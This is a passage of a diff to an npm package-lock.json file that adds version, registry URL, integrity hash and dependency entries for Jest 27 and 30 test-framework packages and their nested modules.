"sha512-7GgkZ4Fw4NFbMSDSpZwXeBiIbx+t/46nJ2QitkOjvwPYyZmqttu2TDSimMHP1EkPOi4xUZAN1doE5Vd25H4Jng==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jest/types": "^27.5.1", + "@types/graceful-fs": "^4.1.2", + "@types/node": "*", + "anymatch": "^3.0.3", + "fb-watchman": "^2.0.0", + "graceful-fs": "^4.2.9", + "jest-regex-util": "^27.5.1", + "jest-serializer": "^27.5.1", + "jest-util": "^27.5.1", + "jest-worker": "^27.5.1", + "micromatch": "^4.0.4", + "walker": "^1.0.7" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + }, + "optionalDependencies": { + "fsevents": "^2.3.2" + } + }, + "node_modules/jest-haste-map/node_modules/@jest/types": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz", + "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/istanbul-lib-coverage": "^2.0.0", + "@types/istanbul-reports": "^3.0.0", + "@types/node": "*", + "@types/yargs": "^16.0.0", + "chalk": "^4.0.0" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-haste-map/node_modules/@types/yargs": { + "version": "16.0.11", + "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.11.tgz", + "integrity": "sha512-sbtvk8wDN+JvEdabmZExoW/HNr1cB7D/j4LT08rMiuikfA7m/JNJg7ATQcgzs34zHnoScDkY0ZRSl29Fkmk36g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/yargs-parser": "*" + } + }, + "node_modules/jest-haste-map/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/jest-haste-map/node_modules/ci-info": { + "version": "3.9.0", + "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-3.9.0.tgz", + "integrity": "sha512-NIxF55hv4nSqQswkAeiOi1r83xy8JldOFDTWiug55KBu9Jnblncd2U6ViHmYgHf01TPZS77NJBhBMKdWj9HQMQ==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/sibiraj-s" + } + ], + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-haste-map/node_modules/jest-regex-util": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-regex-util/-/jest-regex-util-27.5.1.tgz", + "integrity": "sha512-4bfKq2zie+x16okqDXjXn9ql2B0dScQu+vcwe4TvFVhkVyuWLqpZrZtXxLLWoXYgn0E87I6r6GRYHF7wFZBUvg==", + "dev": true, + "license": "MIT", + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-haste-map/node_modules/jest-util": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-27.5.1.tgz", + "integrity": "sha512-Kv2o/8jNvX1MQ0KGtw480E/w4fBCDOnH6+6DmeKi6LZUIlKA5kwY0YNdlzaWTiVgxqAqik11QyxDOKk543aKXw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jest/types": "^27.5.1", + "@types/node": "*", + "chalk": "^4.0.0", + "ci-info": "^3.2.0", + "graceful-fs": "^4.2.9", + "picomatch": "^2.2.3" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-haste-map/node_modules/picomatch": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.2.tgz", + "integrity": "sha512-V7+vQEJ06Z+c5tSye8S+nHUfI51xoXIXjHQ99cQtKUkQqqO1kO/KCJUfZXuB47h/YBlDhah2H3hdUGXn8ie0oA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8.6" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, + "node_modules/jest-jasmine2": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-jasmine2/-/jest-jasmine2-27.5.1.tgz", + "integrity": "sha512-jtq7VVyG8SqAorDpApwiJJImd0V2wv1xzdheGHRGyuT7gZm6gG47QEskOlzsN1PG/6WNaCo5pmwMHDf3AkG2pQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jest/environment": "^27.5.1", + "@jest/source-map": "^27.5.1", + "@jest/test-result": "^27.5.1", + "@jest/types": "^27.5.1", + "@types/node": "*", + "chalk": "^4.0.0", + "co": "^4.6.0", + "expect": "^27.5.1", + "is-generator-fn": "^2.0.0", + "jest-each": "^27.5.1", + "jest-matcher-utils": "^27.5.1", + "jest-message-util": "^27.5.1", + "jest-runtime": "^27.5.1", + "jest-snapshot": "^27.5.1", + "jest-util": "^27.5.1", + "pretty-format": "^27.5.1", + "throat": "^6.0.1" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-jasmine2/node_modules/@jest/types": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz", + "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/istanbul-lib-coverage": "^2.0.0", + "@types/istanbul-reports": "^3.0.0", + "@types/node": "*", + "@types/yargs": "^16.0.0", + "chalk": "^4.0.0" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-jasmine2/node_modules/@types/yargs": { + "version": "16.0.11", + "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.11.tgz", + "integrity": "sha512-sbtvk8wDN+JvEdabmZExoW/HNr1cB7D/j4LT08rMiuikfA7m/JNJg7ATQcgzs34zHnoScDkY0ZRSl29Fkmk36g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/yargs-parser": "*" + } + }, + "node_modules/jest-jasmine2/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/jest-jasmine2/node_modules/ci-info": { + "version": "3.9.0", + "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-3.9.0.tgz", + "integrity": "sha512-NIxF55hv4nSqQswkAeiOi1r83xy8JldOFDTWiug55KBu9Jnblncd2U6ViHmYgHf01TPZS77NJBhBMKdWj9HQMQ==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/sibiraj-s" + } + ], + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-jasmine2/node_modules/expect": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/expect/-/expect-27.5.1.tgz", + "integrity": "sha512-E1q5hSUG2AmYQwQJ041nvgpkODHQvB+RKlB4IYdru6uJsyFTRyZAP463M+1lINorwbqAmUggi6+WwkD8lCS/Dw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jest/types": "^27.5.1", + "jest-get-type": "^27.5.1", + "jest-matcher-utils": "^27.5.1", + "jest-message-util": "^27.5.1" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-jasmine2/node_modules/jest-diff": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-diff/-/jest-diff-27.5.1.tgz", + "integrity": "sha512-m0NvkX55LDt9T4mctTEgnZk3fmEg3NRYutvMPWM/0iPnkFj2wIeF45O1718cMSOFO1vINkqmxqD8vE37uTEbqw==", + "dev": true, + "license": "MIT", + "dependencies": { + "chalk": "^4.0.0", + "diff-sequences": "^27.5.1", + "jest-get-type": "^27.5.1", + "pretty-format": "^27.5.1" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-jasmine2/node_modules/jest-matcher-utils": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-matcher-utils/-/jest-matcher-utils-27.5.1.tgz", + "integrity": "sha512-z2uTx/T6LBaCoNWNFWwChLBKYxTMcGBRjAt+2SbP929/Fflb9aa5LGma654Rz8z9HLxsrUaYzxE9T/EFIL/PAw==", + "dev": true, + "license": "MIT", + "dependencies": { + "chalk": "^4.0.0", + "jest-diff": "^27.5.1", + "jest-get-type": "^27.5.1", + "pretty-format": "^27.5.1" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-jasmine2/node_modules/jest-message-util": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-message-util/-/jest-message-util-27.5.1.tgz", + "integrity": "sha512-rMyFe1+jnyAAf+NHwTclDz0eAaLkVDdKVHHBFWsBWHnnh5YeJMNWWsv7AbFYXfK3oTqvL7VTWkhNLu1jX24D+g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/code-frame": "^7.12.13", + "@jest/types": "^27.5.1", + "@types/stack-utils": "^2.0.0", + "chalk": "^4.0.0", + "graceful-fs": "^4.2.9", + "micromatch": "^4.0.4", + "pretty-format": "^27.5.1", + "slash": "^3.0.0", + "stack-utils": "^2.0.3" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-jasmine2/node_modules/jest-util": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-27.5.1.tgz", + "integrity": "sha512-Kv2o/8jNvX1MQ0KGtw480E/w4fBCDOnH6+6DmeKi6LZUIlKA5kwY0YNdlzaWTiVgxqAqik11QyxDOKk543aKXw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jest/types": "^27.5.1", + "@types/node": "*", + "chalk": "^4.0.0", + "ci-info": "^3.2.0", + "graceful-fs": "^4.2.9", + "picomatch": "^2.2.3" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-jasmine2/node_modules/picomatch": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.2.tgz", + "integrity": "sha512-V7+vQEJ06Z+c5tSye8S+nHUfI51xoXIXjHQ99cQtKUkQqqO1kO/KCJUfZXuB47h/YBlDhah2H3hdUGXn8ie0oA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8.6" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, + "node_modules/jest-leak-detector": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-leak-detector/-/jest-leak-detector-27.5.1.tgz", + "integrity": "sha512-POXfWAMvfU6WMUXftV4HolnJfnPOGEu10fscNCA76KBpRRhcMN2c8d3iT2pxQS3HLbA+5X4sOUPzYO2NUyIlHQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "jest-get-type": "^27.5.1", + "pretty-format": "^27.5.1" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-matcher-utils": { + "version": "30.3.0", + "resolved": "https://registry.npmjs.org/jest-matcher-utils/-/jest-matcher-utils-30.3.0.tgz", + "integrity": "sha512-HEtc9uFQgaUHkC7nLSlQL3Tph4Pjxt/yiPvkIrrDCt9jhoLIgxaubo1G+CFOnmHYMxHwwdaSN7mkIFs6ZK8OhA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jest/get-type": "30.1.0", + "chalk": "^4.1.2", + "jest-diff": "30.3.0", + "pretty-format": "30.3.0" + }, + "engines": { + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" + } + }, + "node_modules/jest-matcher-utils/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/jest-matcher-utils/node_modules/pretty-format": { + "version": "30.3.0", + "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-30.3.0.tgz", + "integrity": "sha512-oG4T3wCbfeuvljnyAzhBvpN45E8iOTXCU/TD3zXW80HA3dQ4ahdqMkWGiPWZvjpQwlbyHrPTWUAqUzGzv4l1JQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jest/schemas": "30.0.5", + "ansi-styles": "^5.2.0", + "react-is": "^18.3.1" + }, + "engines": { + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" + } + }, + "node_modules/jest-matcher-utils/node_modules/pretty-format/node_modules/ansi-styles": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-5.2.0.tgz", + "integrity": "sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/jest-matcher-utils/node_modules/react-is": { + "version": "18.3.1", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-18.3.1.tgz", + "integrity": "sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg==", + "dev": true, + "license": "MIT" + }, + "node_modules/jest-message-util": { + "version": "30.3.0", + "resolved": "https://registry.npmjs.org/jest-message-util/-/jest-message-util-30.3.0.tgz", + "integrity": "sha512-Z/j4Bo+4ySJ+JPJN3b2Qbl9hDq3VrXmnjjGEWD/x0BCXeOXPTV1iZYYzl2X8c1MaCOL+ewMyNBcm88sboE6YWw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/code-frame": "^7.27.1", + "@jest/types": "30.3.0", + "@types/stack-utils": "^2.0.3", + "chalk": "^4.1.2", + "graceful-fs": "^4.2.11", + "picomatch": "^4.0.3", + "pretty-format": "30.3.0", + "slash": "^3.0.0", + "stack-utils": "^2.0.6" + }, + "engines": { + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" + } + }, + "node_modules/jest-message-util/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/jest-message-util/node_modules/pretty-format": { + "version": "30.3.0", + "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-30.3.0.tgz", + "integrity": "sha512-oG4T3wCbfeuvljnyAzhBvpN45E8iOTXCU/TD3zXW80HA3dQ4ahdqMkWGiPWZvjpQwlbyHrPTWUAqUzGzv4l1JQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jest/schemas": "30.0.5", + "ansi-styles": "^5.2.0", + "react-is": "^18.3.1" + }, + "engines": { + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" + } + }, + "node_modules/jest-message-util/node_modules/pretty-format/node_modules/ansi-styles": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-5.2.0.tgz", + "integrity": "sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/jest-message-util/node_modules/react-is": { + "version": "18.3.1", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-18.3.1.tgz", + "integrity": "sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg==", + "dev": true, + "license": "MIT" + }, + "node_modules/jest-mock": { + "version": "30.3.0", + "resolved": "https://registry.npmjs.org/jest-mock/-/jest-mock-30.3.0.tgz", + "integrity": "sha512-OTzICK8CpE+t4ndhKrwlIdbM6Pn8j00lvmSmq5ejiO+KxukbLjgOflKWMn3KE34EZdQm5RqTuKj+5RIEniYhog==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jest/types": "30.3.0", + "@types/node": "*", + "jest-util": "30.3.0" + }, + "engines": { + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" + } + }, + "node_modules/jest-pnp-resolver": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/jest-pnp-resolver/-/jest-pnp-resolver-1.2.3.tgz", + "integrity": "sha512-+3NpwQEnRoIBtx4fyhblQDPgJI0H1IEIkX7ShLUjPGA7TtUTvI1oiKi3SR4oBR0hQhQR80l4WAe5RrXBwWMA8w==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6" + }, + "peerDependencies": { + "jest-resolve": "*" + }, + "peerDependenciesMeta": { + "jest-resolve": { + "optional": true + } + } + }, + "node_modules/jest-regex-util": { + "version": "30.0.1", + "resolved": "https://registry.npmjs.org/jest-regex-util/-/jest-regex-util-30.0.1.tgz", + "integrity": "sha512-jHEQgBXAgc+Gh4g0p3bCevgRCVRkB4VB70zhoAE48gxeSr1hfUOsM/C2WoJgVL7Eyg//hudYENbm3Ne+/dRVVA==", + "dev": true, + "license": "MIT", + "engines": { + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" + } + }, + "node_modules/jest-resolve": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-resolve/-/jest-resolve-27.5.1.tgz", + "integrity": "sha512-FFDy8/9E6CV83IMbDpcjOhumAQPDyETnU2KZ1O98DwTnz8AOBsW/Xv3GySr1mOZdItLR+zDZ7I/UdTFbgSOVCw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jest/types": "^27.5.1", + "chalk": "^4.0.0", + "graceful-fs": "^4.2.9", + "jest-haste-map": "^27.5.1", + "jest-pnp-resolver": "^1.2.2", + "jest-util": "^27.5.1", + "jest-validate": "^27.5.1", + "resolve": "^1.20.0", + "resolve.exports": "^1.1.0", + "slash": "^3.0.0" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-resolve-dependencies": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-resolve-dependencies/-/jest-resolve-dependencies-27.5.1.tgz", + "integrity": "sha512-QQOOdY4PE39iawDn5rzbIePNigfe5B9Z91GDD1ae/xNDlu9kaat8QQ5EKnNmVWPV54hUdxCVwwj6YMgR2O7IOg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jest/types": "^27.5.1", + "jest-regex-util": "^27.5.1", + "jest-snapshot": "^27.5.1" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-resolve-dependencies/node_modules/@jest/types": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz", + "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/istanbul-lib-coverage": "^2.0.0", + "@types/istanbul-reports": "^3.0.0", + "@types/node": "*", + "@types/yargs": "^16.0.0", + "chalk": "^4.0.0" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-resolve-dependencies/node_modules/@types/yargs": { + "version": "16.0.11", + "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.11.tgz", + "integrity": "sha512-sbtvk8wDN+JvEdabmZExoW/HNr1cB7D/j4LT08rMiuikfA7m/JNJg7ATQcgzs34zHnoScDkY0ZRSl29Fkmk36g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/yargs-parser": "*" + } + }, + "node_modules/jest-resolve-dependencies/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/jest-resolve-dependencies/node_modules/jest-regex-util": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-regex-util/-/jest-regex-util-27.5.1.tgz", + "integrity": "sha512-4bfKq2zie+x16okqDXjXn9ql2B0dScQu+vcwe4TvFVhkVyuWLqpZrZtXxLLWoXYgn0E87I6r6GRYHF7wFZBUvg==", + "dev": true, + "license": "MIT", + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-resolve/node_modules/@jest/types": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz", + "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/istanbul-lib-coverage": "^2.0.0", + "@types/istanbul-reports": "^3.0.0", + "@types/node": "*", + "@types/yargs": "^16.0.0", + "chalk": "^4.0.0" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-resolve/node_modules/@types/yargs": { + "version": "16.0.11", + "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.11.tgz", + "integrity": "sha512-sbtvk8wDN+JvEdabmZExoW/HNr1cB7D/j4LT08rMiuikfA7m/JNJg7ATQcgzs34zHnoScDkY0ZRSl29Fkmk36g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/yargs-parser": "*" + } + }, + "node_modules/jest-resolve/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/jest-resolve/node_modules/ci-info": { + "version": "3.9.0", + "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-3.9.0.tgz", + "integrity": "sha512-NIxF55hv4nSqQswkAeiOi1r83xy8JldOFDTWiug55KBu9Jnblncd2U6ViHmYgHf01TPZS77NJBhBMKdWj9HQMQ==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/sibiraj-s" + } + ], + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-resolve/node_modules/jest-util": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-27.5.1.tgz", + "integrity": "sha512-Kv2o/8jNvX1MQ0KGtw480E/w4fBCDOnH6+6DmeKi6LZUIlKA5kwY0YNdlzaWTiVgxqAqik11QyxDOKk543aKXw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jest/types": "^27.5.1", + "@types/node": "*", + "chalk": "^4.0.0", + "ci-info": "^3.2.0", + "graceful-fs": "^4.2.9", + "picomatch": "^2.2.3" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-resolve/node_modules/picomatch": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.2.tgz", + "integrity": "sha512-V7+vQEJ06Z+c5tSye8S+nHUfI51xoXIXjHQ99cQtKUkQqqO1kO/KCJUfZXuB47h/YBlDhah2H3hdUGXn8ie0oA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8.6" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, + "node_modules/jest-runner": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-runner/-/jest-runner-27.5.1.tgz", + "integrity": "sha512-g4NPsM4mFCOwFKXO4p/H/kWGdJp9V8kURY2lX8Me2drgXqG7rrZAx5kv+5H7wtt/cdFIjhqYx1HrlqWHaOvDaQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jest/console": "^27.5.1", + "@jest/environment": "^27.5.1", + "@jest/test-result": "^27.5.1", + "@jest/transform": "^27.5.1", + "@jest/types": "^27.5.1", + "@types/node": "*", + "chalk": "^4.0.0", + "emittery": "^0.8.1", + "graceful-fs": "^4.2.9", + "jest-docblock": "^27.5.1", + "jest-environment-jsdom": "^27.5.1", + "jest-environment-node": "^27.5.1", + "jest-haste-map": "^27.5.1", + "jest-leak-detector": "^27.5.1", + "jest-message-util": "^27.5.1", + "jest-resolve": "^27.5.1", + "jest-runtime": "^27.5.1", + "jest-util": "^27.5.1", + "jest-worker": "^27.5.1", + "source-map-support": "^0.5.6", + "throat": "^6.0.1" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-runner/node_modules/@jest/types": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz", + "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/istanbul-lib-coverage": "^2.0.0", + "@types/istanbul-reports": "^3.0.0", + "@types/node": "*", + "@types/yargs": "^16.0.0", + "chalk": "^4.0.0" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/jest-runner/node_modules/@types/yargs": { + "version": "16.0.11", + "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.11.tgz", + "integrity": "sha512-sbtvk8wDN+JvEdabmZExoW/HNr1cB7D/j4LT08rMiuikfA7m/JNJg7ATQcgzs34zHnoScDkY0ZRSl29Fkmk36g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/yargs-parser": "*" + } + }, + "node_modules/jest-runner/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/jest-runner/node_modules/ci-info": { + "version": "3.9.0", + "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-3.9.0.tgz", + "integrity": "sha512-NIxF55hv4nSqQswkAeiOi1r83xy8JldOFDTWiug55KBu9Jnblncd2U6ViHmYgHf01TPZS77NJBhBMKdWj9HQMQ==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/sibiraj-s" + } + ], + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/jest-runner/node_modules/jest-message-util": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/jest-message-util/-/jest-message-util-27.5.1.tgz", + "integrity": 